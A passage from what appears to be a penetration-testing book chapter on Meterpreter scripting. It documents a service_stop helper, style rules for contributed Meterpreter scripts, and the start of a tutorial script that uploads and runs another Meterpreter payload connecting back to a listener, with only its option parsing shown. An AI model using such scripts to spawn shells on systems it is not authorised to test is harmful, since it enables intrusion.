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Chapter 16

service_stop(name)

Function for stopping a service. Returns 

0

 if the 

service is stopped successfully, 

1

 if the service is already stopped or 

disabled, and 

2

 if the service cannot be stopped.

You should understand the basics regarding the Meterpreter mixin calls 

that you can use to add functionality to your custom script.

Rules for Writing Meterpreter Scripts

When creating Meterpreter scripts, you need to understand the following 
rules before you begin your first script and if you want them to be committed 
to the Framework:

z

Use only instance, local, and constant variables; never use global or class 
variables because they might interfere with the Framework variables.

z

Use hard tabs for indenting; do not use spaces.

z

For code blocks, do not use 

{}

. Instead, use 

do

 and 

end

.

z

When declaring functions, always write a comment before the declara-
tion and provide a brief description of its purpose.

z

Do not use 

sleep

; use 

"select(nil, nil, nil, <time>)"

.

z

Do not use 

puts

 or any other standard output calls; instead use 

print

, 

print_line

, 

print_status

, 

print_error

, and 

print_good

.

z

Always include an 

-h

 option that will print a description and the purpose 

of the script and show the available options.

z

If your script is meant for a specific operating system or Meterpreter plat-
form, make sure it runs only on those platforms and prints out an error 
message for an unsupported OS or platform.

Creating Your Own Meterpreter Script

Open up your favorite editor and create a new file called 

execute_upload.rb

, 

located in 

scripts/meterpreter/

. We’ll start by adding comments to the top of the 

file to let everyone know the purpose of this script and to define our options 
for the script:

# Meterpreter script for uploading and executing another meterpreter exe

info = "Simple script for uploading and executing an additional meterpreter payload"

# Options

opts = Rex::Parser::Arguments.new(
         "-h"  => [ false,   "This help menu. Spawn a meterpreter shell by uploading and 

executing."],

         "-r"  => [ true,    "The IP of a remote Metasploit listening for the connect back"],
         "-p"  => [ true,    "The port on the remote host where Metasploit is listening 

(default: 4444)"]

)